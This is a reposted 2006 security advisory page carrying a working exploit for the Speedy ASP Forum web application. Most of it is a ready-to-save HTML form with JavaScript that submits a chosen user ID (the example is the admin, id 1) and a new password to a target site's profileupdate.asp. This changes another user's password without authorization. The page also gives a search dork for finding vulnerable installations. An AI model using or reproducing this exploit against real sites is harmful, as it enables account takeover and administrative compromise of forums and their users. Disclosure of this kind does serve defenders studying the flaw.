Security Advisory: Speedy ASP Forum(profileupdate.asp) User Pass Change Exploit

[EN] securityvulns.ru
no-pyccku

Related information
 Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)
 CosmicShoppingCart (search.php) Remote SQL Injection Vulnerability
 [Full-disclosure] [ GLSA 200605-16 ] CherryPy: Directory traversal vulnerability
 [Full-disclosure] Multiple XSS Vulnerabilities in Tikiwiki 1.9.x
 WikiNi Persistent Cross Site Scripting Vulnerability

From: ajannhwt_(at)_hotmail.com <ajannhwt_(at)_hotmail.com>
Date: 30.05.2006
Subject: Speedy ASP Forum(profileupdate.asp) User Pass Change Exploit

# Title : Speedy ASP Forum(profileupdate.asp) User Pass Change Exploit

# Dork : Copyright © ASPwebSoft

# Author : ajann

# greetz : Nukedx

###Code:

Save to .htm

*********************************************************************************
****************************************************

<title>Pass Change</title>
<script language="JavaScript">
//Coded ajann
function islemKontrol(){
 if(document.InputForm.name.value=="" || document.InputForm.email.value=="" ||
document.InputForm.id.value=="" || document.InputForm.password.value=="" ||
document.InputForm.passwordre.value=="" || document.InputForm.country.options.value == 0 ||
document.InputForm.adres.value=="" ){
 alert("Alani Bos Biraktiniz")
 return false
 }
{
document.InputForm.action= document.InputForm.adres.value
document.InputForm.submit();

return true
}
}
</script>

<body bgcolor="#000000">

<form name = "InputForm" method = "post" onSubmit = 'return islemKontrol()'>
Speedy Forum User Pass Change //
ajannUser Name    
:   
<input type="text" name="name" value="" size="20"> 
 Example: Surname Name 
User
Mail       &nb
sp;
:  
<input type="text" name="email" value="" size="20">
   Example:
mail@domain.com 
User
İd       &
nbsp;    
:  
<input type="text" name="id" value="" size="20">
  Example: İd:1 Admin 
User Country  :  

<select size="1" name="country">
<option value=0>Choose Country</option>
<option value="Turkey">Turkey</option>
</select>  Example: Turkey 



User 
Pass 
     &
nbsp;
:  

<input type = "text" name="password" value="Password" size="20"> 
 Example: 123456 

User 
RePass  
:  
<input type = "text" name="passwordre" value="Re Password" size="20"> 
 Example: 123456 

Form Action    : 


<input type="text" name="adres" value="profileupdate.asp" size="20"> 
 Example:
http://[target]/[path]/profileupdate.asp



<input type = "submit" name="Submit" value="Change"> 

 

 </form>
*********************************************************************************
****************************************************

And Code